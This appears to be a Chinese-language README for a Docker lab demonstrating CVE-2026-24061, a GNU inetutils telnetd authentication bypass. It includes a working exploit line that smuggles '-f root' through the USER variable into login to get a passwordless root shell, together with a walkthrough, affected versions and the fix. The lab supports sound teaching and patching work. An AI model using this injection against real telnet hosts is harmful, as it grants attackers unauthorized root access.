一个用于演示 CVE-2026-24061 的 Docker 实验环境——这是 GNU inetutils telnetd 中的一个严重身份验证绕过漏洞,该漏洞在 11 年 内未得到修补。
Telnetd 将 USER 环境变量直接传递给 /usr/bin/login,未进行任何清理。login 二进制文件有一个 -f 标志,用于跳过身份验证(专为已预认证的会话设计)。通过设置 USER='-f root',攻击者可以诱骗 login 在无需密码的情况下授予 root 访问权限。
受影响版本: GNU inetutils 1.9.3(2015 年 3 月)至 2.7 CVSS 评分: 9.8(严重) 修复方案: 升级至 inetutils 2.8+
# 构建镜像
docker build -t telnetd-exploit .
# 运行容器(以 user1 身份进入 shell)
docker run --rm -it telnetd-exploit
# 漏洞利用——无需密码获取 root 权限
USER='-f root' telnet -a localhost
你将进入一个 root shell。运行 whoami 进行确认。
1. 客户端连接时使用:USER='-f root' telnet -a localhost
2. telnetd 接收 USER 环境变量:"-f root"
3. telnetd 执行:/usr/bin/login -f root
4. login 将 -f 解释为"跳过身份验证,用户已预先验证"
5. 攻击者获得 root shell——无需密码
-f 标志是合法的——它用于用户已经过身份验证的场景(例如,来自受信任的本地会话)。问题在于 telnetd 在将 USER 变量传递给 login 之前未对其进行清理,从而允许远程攻击者注入该标志。
截至 2026 年 1 月:
即使没有这个漏洞,Telnet 也会以明文传输所有内容——包括密码。请改用 SSH。
| 协议 | 加密 | 身份验证 |
|---|---|---|
| Telnet | 无 | 明文 |
| SSH | 有 | 密钥/密码 |
.
├── Dockerfile # 构建存在漏洞的 Debian 容器
├── docker-entrypoint.sh # 启动 inetd,降权至 user1
└── README.md